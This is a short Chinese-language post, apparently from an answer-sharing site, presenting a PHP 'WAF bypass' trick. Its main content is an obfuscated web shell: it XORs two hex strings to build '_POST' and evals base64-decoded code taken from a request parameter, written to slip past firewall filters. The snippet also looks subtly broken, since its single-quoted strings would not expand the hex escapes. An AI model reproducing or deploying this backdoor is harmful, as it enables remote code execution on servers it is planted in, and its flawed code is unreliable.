绕过WAF执行Base64编码代码的PHP技巧
这段代码的目标是执行经过base64编码的代码,但是因为WAF阻挡了其中的一些字符,所以需要绕过WAF。
具体的绕过方法是使用异或运算(^)对两个字符串进行操作,然后再通过变量间接引用的方式获取执行的代码。
具体代码如下:
<?php
$a = '\x7E\x2B\x64\x28\x29';
$b = '\x21\x7B\x2B\x7B\x7D';
for($i=0; $i<strlen($a); $i++){
$a[$i] = chr(ord($a[$i]) ^ ord($b[$i]));
}
$$a['a'];
@eval(substr('n'.base64_decode($$a['a']),1));
?>
这里使用了十六进制表示法来表示字符串中的特殊字符,避免了WAF的阻拦。
原文地址: https://www.cveoy.top/t/topic/lPrA 著作权归作者所有。请勿转载和采集!